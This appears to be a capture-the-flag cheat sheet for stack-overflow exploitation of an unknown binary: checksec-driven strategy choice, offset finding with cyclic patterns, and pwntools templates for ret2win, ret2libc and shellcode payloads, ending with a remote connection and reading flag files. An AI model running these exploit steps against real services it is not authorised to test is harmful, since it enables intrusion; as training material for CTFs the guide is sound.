Starting point: you have a binary (and/or an IP:port), no other context. This order takes you systematically from recon to shell.
1. Recon — what kind of binary is this?
file ./<binary> # 32/64-bit, dynamic/static, stripped?
checksec --file=./<binary> # NX, canary, PIE, RELRO, CET (SHSTK/IBT)
The checksec output determines your whole strategy:
| Finding | Meaning for your approach |
|---|---|
| NX disabled / RWX / executable stack | Shellcode injection is possible |
| NX enabled | No shellcode on the stack; think ret2win / ROP |
| Canary found | You need a leak first, or the overflow hits the canary → crash |
| PIE enabled | Addresses shift per run → you need an address leak |
| No PIE | Addresses are fixed → hardcoding is fine |
| SHSTK / IBT | CET active → watch alignment and indirect-call restrictions |
2. Find the vulnerability + interesting functions
nm ./<binary> | grep -iE "win|flag|system|shell|admin|secret"
objdump -d ./<binary> -M att | less
Questions you answer from the disassembly:
- Which input function is used? (
gets,read,scanf,strcpy= classic overflow candidates) - How much space is there really? (look at
sub $0x.., %rspand theleaoffset of the buffer, not at the C declaration —char *buf[0x20]is 256 bytes, not 32) - Is there already a "free" target function? (
win(), something that runssystem("/bin/sh")or opensflag.txt)
3. Choose your exploit strategy based on steps 1+2
- Executable stack + input buffer → inject shellcode (
asm(shellcraft.sh())), possibly directly if the code executes the buffer itself (((void(*)())buf)()). - NX + ready-made
win()→ ret2win: overwrite the return address withwin(). - NX + no
win(), butsystem//bin/shin the binary → ret2system / ret2libc: build a ROP chain (pop rdi; retgadget + address of/bin/sh+system). - Only a guard variable to beat → targeted variable overwrite (like
admin == 0x59595959).
4. Determine the exact offset
Two ways, preferably use both as a check:
a) From the disassembly (deterministic):
buf at rbp-0x100 → 0x100 + 0x8 (saved rbp) = 264 bytes to the return address
b) With a cyclic pattern (empirical):
from pwn import *
p = process('./<binary>')
p.sendline(cyclic(300))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8)) # or core.pc on a direct rip overwrite
print(offset)
5. Build and test the payload — always locally first
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
payload = b'A'*offset + p64(win_addr)
p = process('./<binary>') # LOCALLY first
p.sendline(payload)
p.interactive()
Doesn't work locally → debug locally (see the crash-diagnosis workflow: exit code, dmesg, alignment). Don't guess against remote.
6. Common blockers and their fix
- Crash despite the right offset/address → check
dmesg:general protection fault in libc= stack alignment, add a standaloneretgadget before the target address. - Works locally, not remotely → the libc version differs (with ret2libc), or timing: use
recvuntil()before yoursend(). - PIE on → you need a leak; look for a format string or a print of a stack/libc address to compute base addresses.
7. Apply it against remote
p = remote('<target-ip>', <port>)
p.recvuntil(b'<prompt-text>')
p.send(payload)
p.interactive()
Once you have a shell:
cat flag.txt || find / -name "flag*" 2>/dev/null
Core: checksec first — that output immediately prunes 80% of the possible approaches and points you in a direction. Then: disassembly for the real buffer size, determine the offset deterministically, prove it locally, and only then go remote.